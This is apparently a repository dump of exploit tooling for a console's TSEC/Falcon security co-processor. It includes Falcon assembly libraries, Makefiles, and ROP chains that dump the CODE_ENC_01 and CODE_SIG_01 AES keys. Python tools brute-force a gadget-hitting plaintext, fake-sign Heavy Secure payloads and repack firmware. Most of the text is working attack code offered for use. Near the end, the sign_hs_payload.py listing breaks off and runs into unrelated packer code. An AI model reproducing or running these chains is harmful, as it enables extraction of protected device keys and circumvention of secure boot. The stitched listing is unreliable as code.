├── payloads └── .gitkeep ├── reverse └── .gitkeep ├── .gitattributes ├── .gitignore ├── libfaucon ├── tsec_wait_dma.asm ├── base_define.asm ├── forloop.m4 ├── memcpy.asm ├── tsec_dma_write.asm ├── tsec_set_key.asm ├── memcmp.asm ├── memcpy_i2d.asm ├── memcpy_d2i.asm └── mmio.asm ├── tools ├── decrypt_blob2.py ├── bin2c.py ├── find_keygen_plaintext.py ├── hovi_fw_extractor.py ├── hovi_keygenldr_auth_boot.py ├── sign_hs_payload.py ├── hovi_stage_extractor.py ├── hovi_packer.py └── cauth_payload_packer.py ├── keygen ├── Makefile └── main.asm ├── keygenldr ├── code_enc_01_rop.asm ├── code_sig_01_rop.asm ├── Makefile └── main.asm ├── requiem ├── Makefile ├── main.asm └── README.md ├── secureboot ├── Makefile └── main.asm ├── README.md └── LICENSE /payloads/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /reverse/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | * text=auto eol=lf 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | payloads/ 2 | reverse/ 3 | *.bin 4 | *_fw.h 5 | *_fw_real.asm 6 | rop.asm 7 | -------------------------------------------------------------------------------- /libfaucon/tsec_wait_dma.asm: -------------------------------------------------------------------------------- 1 | tsec_wait_dma: 2 | mov $r15 0x1c000 3 | tsec_wait_dma_loop: 4 | iord $r9 I[$r15 + 0x0] 5 | extr $r10 $r9 0xc:0xe 6 | bra b32 $r10 0x1 e #tsec_wait_dma_loop 7 | ret 8 | -------------------------------------------------------------------------------- /libfaucon/base_define.asm: -------------------------------------------------------------------------------- 1 | .equ #SOR_NV_PDISP_SOR_DP_HDCP_BKSV_LSB 0x545801e8 2 | .equ #SOR_NV_PDISP_SOR_TMDS_HDCP_BKSV_LSB 0x5458021C 3 | .equ #SOR_NV_PDISP_SOR_TMDS_HDCP_CN_MSB 0x54580208 4 | .equ #SOR_NV_PDISP_SOR_TMDS_HDCP_CN_LSB 0x5458020C 5 | -------------------------------------------------------------------------------- /libfaucon/forloop.m4: -------------------------------------------------------------------------------- 1 | divert(`-1') 2 | # forloop(var, from, to, stmt) - simple version 3 | define(`forloop', `pushdef(`$1', `$2')_forloop($@)popdef(`$1')') 4 | define(`_forloop', 5 | `$4`'ifelse($1, `$3', `', `define(`$1', incr($1))$0($@)')') 6 | divert`'dnl 7 | -------------------------------------------------------------------------------- /libfaucon/memcpy.asm: -------------------------------------------------------------------------------- 1 | // Arguments 2 | pushdef(`dest', `$r10') 3 | pushdef(`src', `$r11') 4 | pushdef(`size', `$r12') 5 | 6 | memcpy: 7 | lbra #memcpy_loop_condition 8 | memcpy_loop: 9 | ld b32 $r15 D[src] 10 | add b32 src 0x4 11 | sub b32 size 0x4 12 | st b32 D[dest] $r15 13 | add b32 dest 0x4 14 | memcpy_loop_condition: 15 | bra b32 size 0x0 ne #memcpy_loop 16 | ret 17 | 18 | popdef(`size') 19 | popdef(`src') 20 | popdef(`dest') 21 | -------------------------------------------------------------------------------- /libfaucon/tsec_dma_write.asm: -------------------------------------------------------------------------------- 1 | pushdef(`addr', `$r10') 2 | pushdef(`value', `$r11') 3 | 4 | tsec_dma_write: 5 | mpush $r1 6 | mov b32 $r0 addr 7 | mov b32 $r1 value 8 | lcall #tsec_wait_dma 9 | mov $r9 0x1 10 | bra b32 addr 0x0 ne #tsec_dma_write_end 11 | 12 | mov $r9 0x1c100 13 | iowr I[$r9] $r0 14 | 15 | add b32 $r9 $r9 0x100 16 | iowr I[$r9] $r1 17 | 18 | mov $r15 0x800000f2 19 | sub b32 $r9 $r9 0x200 20 | iowr I[$r9] $r15 21 | 22 | lcall #tsec_wait_dma 23 | 24 | cmp b32 $r10 0x0 25 | xbit $r9 $flags z 26 | xor $r9 0x1 27 | 28 | tsec_dma_write_end: 29 | mov b32 $r10 $r9 30 | mpopret $r1 31 | 32 | popdef(`value') 33 | popdef(`addr') 34 | -------------------------------------------------------------------------------- /tools/decrypt_blob2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys 5 | from binascii import unhexlify 6 | 7 | from Crypto.Cipher import AES 8 | 9 | NULL_KEY = b"\x00" * AES.block_size 10 | 11 | 12 | def decrypt_blob2(blob2_path, output_path, key, iv=None): 13 | with open(blob2_path, "rb") as f: 14 | blob2 = f.read() 15 | 16 | blob2_dec = AES.new(key, AES.MODE_CBC, iv).decrypt(blob2) 17 | 18 | with open(output_path, "wb") as f: 19 | f.write(blob2_dec) 20 | 21 | 22 | if __name__ == "__main__": 23 | args = sys.argv[1:] 24 | if len(args) < 3: 25 | print("Usage: blob2_path output_path key [iv]") 26 | else: 27 | decrypt_blob2( 28 | args[0], 29 | args[1], 30 | unhexlify(args[2]), 31 | unhexlify(args[3]) if args[3] else NULL_KEY 32 | ) 33 | -------------------------------------------------------------------------------- /libfaucon/tsec_set_key.asm: -------------------------------------------------------------------------------- 1 | pushdef(`key_buffer', `$r10') 2 | pushdef(`key_buffer_local', `$r0') 3 | 4 | tsec_set_key: 5 | mpush $r0 6 | 7 | // Set DMA timeout 8 | mov $r15 0xFFF 9 | mov b32 key_buffer_local key_buffer 10 | mov $r9 0x1c300 11 | iowr I[$r9] $r15 12 | 13 | 14 | mov $r10 #SOR_NV_PDISP_SOR_DP_HDCP_BKSV_LSB 15 | ld b32 $r11 D[key_buffer_local] 16 | lcall #tsec_dma_write 17 | 18 | mov $r10 #SOR_NV_PDISP_SOR_TMDS_HDCP_BKSV_LSB 19 | ld b32 $r11 D[key_buffer_local + 0x4] 20 | lcall #tsec_dma_write 21 | 22 | mov $r10 #SOR_NV_PDISP_SOR_TMDS_HDCP_CN_MSB 23 | ld b32 $r11 D[key_buffer_local + 0x8] 24 | lcall #tsec_dma_write 25 | 26 | mov $r10 #SOR_NV_PDISP_SOR_TMDS_HDCP_CN_LSB 27 | ld b32 $r11 D[key_buffer_local + 0xC] 28 | lcall #tsec_dma_write 29 | mpopret $r0 30 | 31 | popdef(`key_buffer_local') 32 | popdef(`key_buffer') 33 | -------------------------------------------------------------------------------- /libfaucon/memcmp.asm: -------------------------------------------------------------------------------- 1 | // Function arguments 2 | pushdef(`ptr1', `$r10') 3 | pushdef(`ptr2', `$r11') 4 | pushdef(`size', `$r12') 5 | 6 | // Locals 7 | pushdef(`word1', `$r13') 8 | pushdef(`word2', `$r14') 9 | pushdef(`result', `$r10') 10 | 11 | memcmp: 12 | lbra #memcmp_compare_loop_start 13 | 14 | memcmp_compare_loop: 15 | // Read two words from DMEM into registers and compare them. 16 | ld b32 word1 D[ptr1] 17 | ld b32 word2 D[ptr2] 18 | cmp b32 word1 word2 19 | bra ne #memcmp_ret_failure 20 | 21 | // Update the arguments and continue to compare data if there are still words left. 22 | add b32 ptr1 0x4 23 | add b32 ptr2 0x4 24 | sub b32 size 0x4 25 | memcmp_compare_loop_start: 26 | bra b32 size 0x0 ne #memcmp_compare_loop 27 | 28 | memcmp_ret_success: 29 | mov result 0x0 30 | ret 31 | 32 | memcmp_ret_failure: 33 | mov result 0x1 34 | ret 35 | 36 | // End locals 37 | popdef(`result') 38 | popdef(`word2') 39 | popdef(`word1') 40 | 41 | // End function arguments 42 | popdef(`size') 43 | popdef(`ptr2') 44 | popdef(`ptr1') 45 | -------------------------------------------------------------------------------- /keygen/Makefile: -------------------------------------------------------------------------------- 1 | NAME := main 2 | PACKED_NAME := tsec_fw 3 | STAGE2_PATH = ../payloads/hovi/1.0.0/Keygen.dec.bin 4 | STAGE2_AUTH = 892A36228D49E0484D480CB0ACDA0234 5 | 6 | KEYGEN_DIR = . 7 | LIBFAUCON_DIR = ../libfaucon 8 | TOOLS_DIR = ../tools 9 | 10 | LIBFAUCON_SOURCES = $(wildcard LIBFAUCON_DIR/*.asm) 11 | 12 | all: $(PACKED_NAME).h 13 | 14 | $(NAME)_fw_real.asm: $(NAME).asm $(LIBFAUCON_SOURCES) 15 | @m4 -I $(LIBFAUCON_DIR) -I $(KEYGEN_DIR) $(NAME).asm > $@ 16 | 17 | $(NAME)_fw.bin: $(NAME)_fw_real.asm 18 | @envyas -m falcon -V fuc5 -F crypt $? -i -o $@ 19 | 20 | $(PACKED_NAME).bin: $(NAME)_fw.bin 21 | @$(TOOLS_DIR)/hovi_packer.py $? $(STAGE2_PATH) $(STAGE2_AUTH) $@ 22 | 23 | $(NAME)_fw.h: $(NAME)_fw.bin 24 | @$(TOOLS_DIR)/bin2c.py -o $@ $? 25 | 26 | $(PACKED_NAME).h: $(PACKED_NAME).bin 27 | @$(TOOLS_DIR)/bin2c.py -o $@ $? 28 | 29 | print_dis: $(NAME)_fw.bin 30 | @envydis -i $? -m falcon -V fuc5 -F crypt -n 31 | 32 | clean: 33 | @rm -f $(NAME)_fw.h $(NAME)_fw_real.asm $(NAME)_fw.bin $(PACKED_NAME).bin $(PACKED_NAME).h 34 | 35 | 36 | re: clean all 37 | 38 | .PHONY: $(NAME)_fw.h $(NAME)_fw_real.asm $(NAME)_fw.bin $(PACKED_NAME).bin $(PACKED_NAME).h 39 | -------------------------------------------------------------------------------- /keygenldr/code_enc_01_rop.asm: -------------------------------------------------------------------------------- 1 | // 2 | // A ROP chain designed to dump the "CODE_ENC_01" AES key that is used to 3 | // decrypt the blob for the next stage, Keygen. 4 | // 5 | // gen_usr_key(1, 0x6100); 6 | // crypto_load(1, 0x990); 7 | // 8 | 9 | // We're going to copy the resulting key to this address in Falcon DMem. 10 | .equ #ROP_KEY_BUFFER 0x990 11 | 12 | .size 0x998 13 | .section #rop_payload 0x998 14 | 15 | // mpopret $r0 16 | .b32 0x53D 17 | .b32 0 18 | 19 | // mov $r10 0x1 20 | // ret 21 | .b32 0x5B8 22 | 23 | // $r10 = 1 24 | // $r11 = 6100 25 | // ----------------- 26 | // lbra #gen_usr_key 27 | .b32 0x647 28 | 29 | // mpopret $r0 30 | .b32 0x53D 31 | .b32 0x1 32 | 33 | // $r0 = 1 34 | // ------------------- 35 | // mov b32 $r10 $r0 36 | // add $sp 0x4 37 | // mpopaddret $r4 0x20 38 | .b32 0x4EE 39 | .b32 0 40 | .b32 0 41 | 42 | // mpopaddret sucks 43 | .b32 0 44 | .b32 0 45 | .b32 0 46 | .b32 0 47 | .b32 0 48 | .b32 0 49 | .b32 0 50 | .b32 0 51 | .b32 0 52 | .b32 0 53 | .b32 0 54 | .b32 0 55 | 56 | // $r10 = 1 57 | // $r11 = 990 58 | // ----------------- 59 | // lbra #crypto_load 60 | .b32 0x5BD 61 | 62 | // We have everything we need. Return to No Secure Mode code. 63 | .b32 #ret2win 64 | -------------------------------------------------------------------------------- /libfaucon/memcpy_i2d.asm: -------------------------------------------------------------------------------- 1 | // Temp variables 2 | pushdef(`scratch_register', `$r9') 3 | pushdef(`code_io_address', `$r11') 4 | pushdef(`code_io_offset', `$r13') 5 | pushdef(`position', `$r14') 6 | pushdef(`temp_value', `$r15') 7 | 8 | // Arguments 9 | pushdef(`dest', `$r10') 10 | pushdef(`src', `$r11') 11 | pushdef(`size', `$r12') 12 | 13 | memcpy_i2d: 14 | mov scratch_register 0x2000000 15 | or src scratch_register 16 | mov scratch_register 0x6000 17 | iowr I[scratch_register] src 18 | clear b32 position 19 | mov code_io_address 0x6100 20 | clear b32 code_io_offset 21 | lbra #memcpy_i2d_loop_compare 22 | memcpy_i2d_copy_loop: 23 | iord temp_value I[code_io_address + code_io_offset * 0x4] 24 | shr b32 scratch_register position 0x2 25 | add b32 position position 0x4 26 | st b32 D[dest + scratch_register * 0x4] temp_value 27 | memcpy_i2d_loop_compare: 28 | cmp b32 position size 29 | bra c #memcpy_i2d_copy_loop 30 | ret 31 | 32 | popdef(`size') 33 | popdef(`src') 34 | popdef(`dest') 35 | 36 | popdef(`scratch_register') 37 | popdef(`dest') 38 | popdef(`code_io_address') 39 | popdef(`code_io_offset') 40 | popdef(`temp_value') 41 | -------------------------------------------------------------------------------- /tools/bin2c.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from argparse import ArgumentParser, Namespace, FileType 5 | import sys 6 | 7 | def parse_arguments() -> Namespace: 8 | parser = ArgumentParser(description='Convert a binary to a C header.') 9 | parser.add_argument('binary_file', type=FileType('rb'), help='The path to the input binary to use') 10 | parser.add_argument('-o', '--output', type=FileType('w', encoding='utf-8'), help='The path to the output C header', required=True) 11 | 12 | return parser.parse_args() 13 | 14 | def main(arguments: Namespace) -> int: 15 | base_name = arguments.binary_file.name.replace('.', '_') 16 | binary_data = arguments.binary_file.read() 17 | binary_array_content = ', '.join([hex(x) for x in binary_data]) 18 | 19 | binary_array_c_def = f"const char {base_name}[{len(binary_array_content)}] = {{ {binary_array_content} }};\n" 20 | binary_array_length_c_def = f"const int {base_name}_length = {len(binary_array_content)};\n" 21 | 22 | arguments.output.writelines([binary_array_c_def, binary_array_length_c_def]) 23 | 24 | return 0 25 | 26 | if __name__ == "__main__": 27 | args = parse_arguments() 28 | 29 | sys.exit(main(args)) -------------------------------------------------------------------------------- /tools/find_keygen_plaintext.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from binascii import hexlify, unhexlify 5 | 6 | from Crypto.Cipher import AES 7 | from Crypto.Random import get_random_bytes 8 | 9 | TSEC_DO_KEYGEN_RET = 0x929 10 | FIRST_GADGET = 0x94D 11 | 12 | CSECRET_00 = unhexlify("00000000000000000000000000000000") 13 | KEYGEN_SIG = unhexlify("892A36228D49E0484D480CB0ACDA0234") 14 | 15 | 16 | def hovi_common_01_enc(aes, block): 17 | kek = aes.encrypt(block) 18 | return AES.new(kek, AES.MODE_ECB).encrypt(KEYGEN_SIG) 19 | 20 | 21 | def extract_addr(ciphertext): 22 | return int.from_bytes(ciphertext[0:4], "little") & 0xFFFF 23 | 24 | 25 | def prepare_plaintext(): 26 | block = bytearray(get_random_bytes(AES.block_size)) 27 | block[0:4] = TSEC_DO_KEYGEN_RET.to_bytes(4, "little") 28 | 29 | return block 30 | 31 | 32 | if __name__ == "__main__": 33 | aes = AES.new(CSECRET_00, AES.MODE_ECB) 34 | 35 | while True: 36 | block = prepare_plaintext() 37 | result = hovi_common_01_enc(aes, block) 38 | 39 | addr = extract_addr(result) 40 | if addr == FIRST_GADGET: 41 | print(f"Plaintext: {hexlify(block)}\nCiphertext: {hexlify(result)}") 42 | -------------------------------------------------------------------------------- /requiem/Makefile: -------------------------------------------------------------------------------- 1 | NAME := main 2 | PACKED_NAME := tsec_fw 3 | 4 | REQUIEM_DIR = . 5 | LIBFAUCON_DIR = ../libfaucon 6 | TOOLS_DIR = ../tools 7 | 8 | LIBFAUCON_SOURCES = $(wildcard LIBFAUCON_DIR/*.asm) 9 | 10 | # The key data to fake-sign the Heavy Secure mode portion of the payload. 11 | # Provide real data here. 12 | KEY ?= 00000000000000000000000000000000 13 | SEED ?= 00000000000000000000000000000000 14 | 15 | all: $(PACKED_NAME).h 16 | 17 | $(NAME)_fw_real.asm: $(NAME).asm $(LIBFAUCON_SOURCES) 18 | @m4 -I $(LIBFAUCON_DIR) -I $(REQUIEM_DIR) $(NAME).asm > $@ 19 | 20 | $(NAME)_fw.bin: $(NAME)_fw_real.asm 21 | @envyas -m falcon -V fuc5 -F crypt $? -i -o $@ 22 | 23 | $(PACKED_NAME).bin: $(NAME)_fw.bin 24 | @$(TOOLS_DIR)/sign_hs_payload.py $? $@ $(KEY) $(SEED) 25 | 26 | $(NAME)_fw.h: $(NAME)_fw.bin 27 | @$(TOOLS_DIR)/bin2c.py -o $@ $? 28 | 29 | $(PACKED_NAME).h: $(PACKED_NAME).bin 30 | @$(TOOLS_DIR)/bin2c.py -o $@ $? 31 | 32 | print_dis: $(NAME)_fw.bin 33 | @envydis -i $? -m falcon -V fuc5 -F crypt -n 34 | 35 | clean: 36 | @rm -f $(NAME)_fw.h $(NAME)_fw_real.asm $(NAME)_fw.bin $(PACKED_NAME).bin $(PACKED_NAME).h 37 | 38 | 39 | re: clean all 40 | 41 | .PHONY: $(NAME)_fw.h $(NAME)_fw_real.asm $(NAME)_fw.bin $(PACKED_NAME).bin $(PACKED_NAME).h 42 | -------------------------------------------------------------------------------- /secureboot/Makefile: -------------------------------------------------------------------------------- 1 | NAME := main 2 | PACKED_NAME := tsec_fw 3 | SECUREBOOT_PATH = ../payloads/hovi/8.1.0/SecureBoot.bin 4 | 5 | REQUIEM_DIR = . 6 | LIBFAUCON_DIR = ../libfaucon 7 | TOOLS_DIR = ../tools 8 | 9 | LIBFAUCON_SOURCES = $(wildcard LIBFAUCON_DIR/*.asm) 10 | 11 | # The key data to fake-sign the Heavy Secure mode portion of the payload. 12 | # Provide real data here. 13 | KEY ?= 00000000000000000000000000000000 14 | SEED ?= 00000000000000000000000000000000 15 | 16 | all: $(PACKED_NAME).h 17 | 18 | $(NAME)_fw_real.asm: $(NAME).asm $(LIBFAUCON_SOURCES) 19 | @m4 -I $(LIBFAUCON_DIR) -I $(REQUIEM_DIR) $(NAME).asm > $@ 20 | 21 | $(NAME)_fw.bin: $(NAME)_fw_real.asm 22 | @envyas -m falcon -V fuc5 -F crypt $? -i -o $@ 23 | 24 | $(PACKED_NAME).bin: $(NAME)_fw.bin 25 | @$(TOOLS_DIR)/cauth_payload_packer.py $? $(SECUREBOOT_PATH) $@ $(KEY) $(SEED) 26 | 27 | $(NAME)_fw.h: $(NAME)_fw.bin 28 | @$(TOOLS_DIR)/bin2c.py -o $@ $? 29 | 30 | $(PACKED_NAME).h: $(PACKED_NAME).bin 31 | @$(TOOLS_DIR)/bin2c.py -o $@ $? 32 | 33 | print_dis: $(NAME)_fw.bin 34 | @envydis -i $? -m falcon -V fuc5 -F crypt -n 35 | 36 | clean: 37 | @rm -f $(NAME)_fw.h $(NAME)_fw_real.asm $(NAME)_fw.bin $(PACKED_NAME).bin $(PACKED_NAME).h 38 | 39 | 40 | re: clean all 41 | 42 | .PHONY: $(NAME)_fw.h $(NAME)_fw_real.asm $(NAME)_fw.bin $(PACKED_NAME).bin $(PACKED_NAME).h 43 | -------------------------------------------------------------------------------- /keygenldr/code_sig_01_rop.asm: -------------------------------------------------------------------------------- 1 | // 2 | // A ROP chain designed to dump the "CODE_SIG_01" AES key that is used to 3 | // validate the Boot blob through an AES-CMAC operation. 4 | // 5 | // gen_usr_key(0, 0); 6 | // crypto_load(4, 0x9A0); 7 | // 8 | 9 | // We're going to copy the resulting key to this address in Falcon DMem. 10 | .equ #ROP_KEY_BUFFER 0x9A0 11 | 12 | .size 0x998 13 | .section #rop_payload 0x998 14 | 15 | // mpopret $r0 16 | .b32 0x53D 17 | .b32 0 18 | 19 | // mov $r10 0x0 20 | // ret 21 | .b32 0x5B4 22 | 23 | // $r0 = 0 24 | // $r10 = 0 25 | // ------------------ 26 | // mov b32 $r11 $r0 27 | // lcall #crypto_load 28 | // mpopret $r0 29 | .b32 0x6B1 30 | .b32 0 31 | 32 | // $r10 = 0 33 | // $r11 = 0 34 | // ----------------- 35 | // lbra #gen_usr_key 36 | .b32 0x647 37 | 38 | // mpopret $r0 39 | .b32 0x53D 40 | .b32 0x4 41 | 42 | // $r0 = 4 43 | // ------------------- 44 | // mov b32 $r10 $r0 45 | // add $sp 0x4 46 | // mpopaddret $r4 0x20 47 | .b32 0x4EE 48 | .b32 0 49 | .b32 0 50 | 51 | // mpopaddret sucks 52 | .b32 0 53 | .b32 0 54 | .b32 0 55 | .b32 0 56 | .b32 0 57 | .b32 0 58 | .b32 0 59 | .b32 0 60 | .b32 0 61 | .b32 0 62 | .b32 0 63 | .b32 0 64 | 65 | // $r10 = 4 66 | // $r11 = 9A0 67 | // ------------------ 68 | // lbra #crypto_load 69 | .b32 0x5BD 70 | 71 | // We have everything we need. Return to No Secure Mode code. 72 | .b32 #ret2win 73 | -------------------------------------------------------------------------------- /keygenldr/Makefile: -------------------------------------------------------------------------------- 1 | NAME := main 2 | PACKED_NAME := tsec_fw 3 | STAGE1_PATH = ../payloads/hovi/1.0.0/KeygenLdr.bin 4 | STAGE1_AUTH = 9c8b75d3df0bf06c95fc91c0761ef062 5 | 6 | KEYGENLDR_DIR = . 7 | LIBFAUCON_DIR = ../libfaucon 8 | TOOLS_DIR = ../tools 9 | 10 | # Set this value to the name of the ROP chain that you want to use. 11 | # Supported values: code_sig_01, code_enc_01 12 | DESIRED_ROP_CHAIN = code_enc_01 13 | 14 | LIBFAUCON_SOURCES = $(wildcard LIBFAUCON_DIR/*.asm) 15 | 16 | all: $(PACKED_NAME).h 17 | 18 | $(NAME)_fw_real.asm: $(NAME).asm $(LIBFAUCON_SOURCES) 19 | @cp $(DESIRED_ROP_CHAIN)_rop.asm rop.asm 20 | @m4 -I $(LIBFAUCON_DIR) -I $(KEYGENLDR_DIR) $(NAME).asm > $@ 21 | 22 | $(NAME)_fw.bin: $(NAME)_fw_real.asm 23 | @envyas -m falcon -V fuc5 -F crypt $? -i -o $@ 24 | 25 | $(PACKED_NAME).bin: $(NAME)_fw.bin 26 | @$(TOOLS_DIR)/hovi_packer.py $? $(STAGE1_PATH) $(STAGE1_AUTH) $@ 27 | 28 | $(NAME)_fw.h: $(NAME)_fw.bin 29 | @$(TOOLS_DIR)/bin2c.py -o $@ $? 30 | 31 | $(PACKED_NAME).h: $(PACKED_NAME).bin 32 | @$(TOOLS_DIR)/bin2c.py -o $@ $? 33 | 34 | print_dis: $(NAME)_fw.bin 35 | @envydis -i $? -m falcon -V fuc5 -F crypt -n 36 | 37 | clean: 38 | @rm -f $(NAME)_fw.h $(NAME)_fw_real.asm rop.asm $(NAME)_fw.bin $(PACKED_NAME).bin $(PACKED_NAME).h 39 | 40 | 41 | re: clean all 42 | 43 | .PHONY: $(NAME)_fw.h $(NAME)_fw_real.asm rop.asm $(NAME)_fw.bin $(PACKED_NAME).bin $(PACKED_NAME).h 44 | -------------------------------------------------------------------------------- /tools/hovi_fw_extractor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from pathlib import Path 5 | from struct import unpack 6 | import sys 7 | 8 | 9 | def extract_tsec_fw(package1_path): 10 | package1_path = Path(package1_path) 11 | output_path = Path("tsec_fw.bin") 12 | 13 | with open(package1_path, "rb") as f: 14 | package1 = f.read() 15 | 16 | hovi_common_seed_position = package1.find(b"HOVI_COMMON_01\x00\x00") 17 | if hovi_common_seed_position == -1: 18 | raise RuntimeError("Malformed Package1 binary!") 19 | 20 | # Parse the Key Data table. 21 | key_data_start = hovi_common_seed_position - 0x60 22 | key_data_end = key_data_start + 0x100 23 | ( 24 | boot_size, 25 | keygenldr_size, 26 | keygen_size, 27 | securebootldr_size, 28 | secureboot_size 29 | ) = unpack("16s16s16s16s16s16s16sIIIII124x", package1[key_data_start:key_data_end])[7:] 30 | 31 | tsec_fw_size = boot_size + 0x100 + keygenldr_size + keygen_size + securebootldr_size + secureboot_size 32 | tsec_fw_start = key_data_start - boot_size 33 | tsec_fw_end = tsec_fw_start + tsec_fw_size 34 | 35 | with open(output_path, 'wb') as f: 36 | f.write(package1[tsec_fw_start:tsec_fw_end]) 37 | 38 | 39 | if __name__ == "__main__": 40 | args = sys.argv[1:] 41 | if len(args) != 1: 42 | print("Usage: package1_path") 43 | else: 44 | extract_tsec_fw(args[0]) 45 | -------------------------------------------------------------------------------- /tools/hovi_keygenldr_auth_boot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from binascii import hexlify, unhexlify 5 | import sys 6 | 7 | from Crypto.Cipher import AES 8 | 9 | 10 | def sxor(x, y): 11 | return bytearray(a ^ b for a, b in zip(x, y)) 12 | 13 | 14 | def hswap(size): 15 | return ( 16 | ((size & 0x000000FF) << 0x8 17 | | (size & 0x0000FF00) >> 0x8) << 0x10 18 | | ((size & 0x00FF0000) >> 0x10) << 0x8 19 | | (size & 0xFF000000) >> 0x18 20 | ) 21 | 22 | 23 | def encrypt_buffer(buffer, size, key): 24 | buffer[0xC:] = hswap(size).to_bytes(4, "little") 25 | return AES.new(key, AES.MODE_ECB).encrypt(buffer) 26 | 27 | 28 | def generate_cmac(boot_path, key): 29 | with open(boot_path, "rb") as f: 30 | boot = f.read() 31 | 32 | # Craft the signature key to be used as the IV. 33 | sig_key = bytearray(AES.block_size) 34 | sig_key = encrypt_buffer(sig_key, len(boot), key) 35 | 36 | # Calculate the AES-CMAC hash over Boot code. 37 | ciphertext = sig_key 38 | for i in range(0, len(boot), AES.block_size): 39 | block_cipher = sxor(boot[i:i + AES.block_size], ciphertext) 40 | ciphertext = AES.new(key, AES.MODE_ECB).encrypt(block_cipher) 41 | 42 | return ciphertext 43 | 44 | 45 | if __name__ == "__main__": 46 | args = sys.argv[1:] 47 | if len(args) != 2: 48 | print("Usage: boot_path key") 49 | else: 50 | cmac = generate_cmac(args[0], unhexlify(args[1])) 51 | print(f"Hash: {hexlify(cmac).decode('ascii')}") 52 | -------------------------------------------------------------------------------- /libfaucon/memcpy_d2i.asm: -------------------------------------------------------------------------------- 1 | // Temp variables 2 | pushdef(`scratch_register', `$r9') 3 | 4 | // Arguments 5 | pushdef(`phys_dest', `$r10') 6 | pushdef(`src', `$r11') 7 | pushdef(`size', `$r12') 8 | pushdef(`virt_dest', `$r13') 9 | pushdef(`is_secret', `$r14') 10 | 11 | memcpy_d2i: 12 | mpush $r0 13 | mov b32 $r0 src 14 | mov b32 $r11 size 15 | mov b32 $r12 virt_dest 16 | 17 | bra b8 $r0 0x0 ne #memcpy_d2i_invalid_arguments 18 | bra b8 $r11 0x0 ne #memcpy_d2i_invalid_arguments 19 | bra b8 $r12 0x0 ne #memcpy_d2i_invalid_arguments 20 | 21 | bra b32 is_secret 0x0 e #memcpy_d2i_not_secret 22 | mov scratch_register 0x11000000 23 | lbra #memcpy_d2i_start_copy 24 | memcpy_d2i_not_secret: 25 | mov scratch_register 0x1000000 26 | memcpy_d2i_start_copy: 27 | or $r9 phys_dest $r9 28 | mov $r15 0x6000 29 | iowr I[$r15] scratch_register 30 | mov b32 $r10 $r0 31 | lcall #__memcpy_d2i_inner 32 | mpopret $r0 33 | memcpy_d2i_invalid_arguments: 34 | exit 35 | memcpy_d2i_invalid_arguments_exit_loop: 36 | lbra #memcpy_d2i_invalid_arguments_exit_loop 37 | 38 | popdef(`scratch_register') 39 | 40 | 41 | popdef(`is_secret') 42 | popdef(`virt_dest') 43 | popdef(`size') 44 | popdef(`phys_dest') 45 | 46 | 47 | // Arguments 48 | pushdef(`src', `$r10') 49 | pushdef(`size', `$r11') 50 | pushdef(`virt_dest', `$r12') 51 | 52 | __memcpy_d2i_inner: 53 | mpush $r3 54 | mov $r13 0x6100 55 | mov $r14 0x6200 56 | lbra #__memcpy_d2i_loop_compare 57 | __memcpy_d2i_inner_loop_secure: 58 | and $r0 virt_dest 0xFF 59 | bra z #__memcpy_d2i_inner_handle_virt_page 60 | __memcpy_d2i_inner_loop: 61 | ld b32 $r0 D[src + 0x0] 62 | ld b32 $r1 D[src + 0x4] 63 | ld b32 $r2 D[src + 0x8] 64 | ld b32 $r3 D[src + 0xc] 65 | iowr I[$r13] $r0 66 | iowr I[$r13] $r1 67 | iowr I[$r13] $r2 68 | iowr I[$r13] $r3 69 | add b32 src 0x10 70 | sub b32 size 0x10 71 | add b32 virt_dest 0x10 72 | __memcpy_d2i_loop_compare: 73 | bra b32 size 0x0 ne #__memcpy_d2i_inner_loop_secure 74 | mpopret $r3 75 | __memcpy_d2i_inner_handle_virt_page: 76 | shr b32 $r0 virt_dest 0x8 77 | iowr I[$r14] $r0 78 | lbra #__memcpy_d2i_inner_loop 79 | 80 | 81 | popdef(`virt_dest') 82 | popdef(`size') 83 | popdef(`src') 84 | -------------------------------------------------------------------------------- /tools/sign_hs_payload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from binascii import hexlify, unhexlify 5 | from struct import pack 6 | import sys 7 | 8 | from Crypto.Cipher import AES 9 | 10 | 11 | def sxor(x, y): 12 | return bytearray(a ^ b for a, b in zip(x, y)) 13 | 14 | 15 | def align_up(value, size): 16 | return (value + (size - 1)) & -size 17 | 18 | 19 | def append_padding(blob, align): 20 | expected_len = align_up(len(blob), align) 21 | return blob + b"\x00" * (expected_len - len(blob)) 22 | 23 | 24 | def craft_key_table(auth_hash, seed, payload_len): 25 | print(hexlify(auth_hash).decode("ascii")) 26 | return append_padding( 27 | pack("16s16sI", auth_hash, seed, payload_len), 28 | 0x100 29 | ) 30 | 31 | 32 | def calculate_davies_meyer_mac(data, address): 33 | ciphertext = bytearray(AES.block_size) 34 | 35 | for i in range(0, len(data), 0x100): 36 | blocks = data[i:i + 0x100] + pack(" 0x300: 42 | print( 43 | f"Warning: blob0_size > 0x300 (aligned size: 0x{blob0_size:X}, unaligned size: 0x{blob0_size_unaligned:X})") 44 | 45 | key_data = struct.pack("16s16s16s16s16s16s16sIIIII124x", debug_key, 46 | blob0_auth_hash, 47 | blob1_auth_hash, 48 | blob2_auth_hash, 49 | blob2_aes_iv, 50 | hovi_eks_seed, 51 | hovi_common_seed, 52 | blob0_size, 53 | blob1_size, 54 | blob2_size, 55 | blob3_size, 56 | blob4_size) 57 | 58 | key_data_size_unaligned = len(key_data) 59 | key_data_size = align_up(key_data_size_unaligned, 0x100) 60 | 61 | with open(output_path, 'wb') as f: 62 | f.write(blob0) 63 | f.write(bytes(blob0_size - blob0_size_unaligned)) 64 | 65 | key_data_position = f.tell() 66 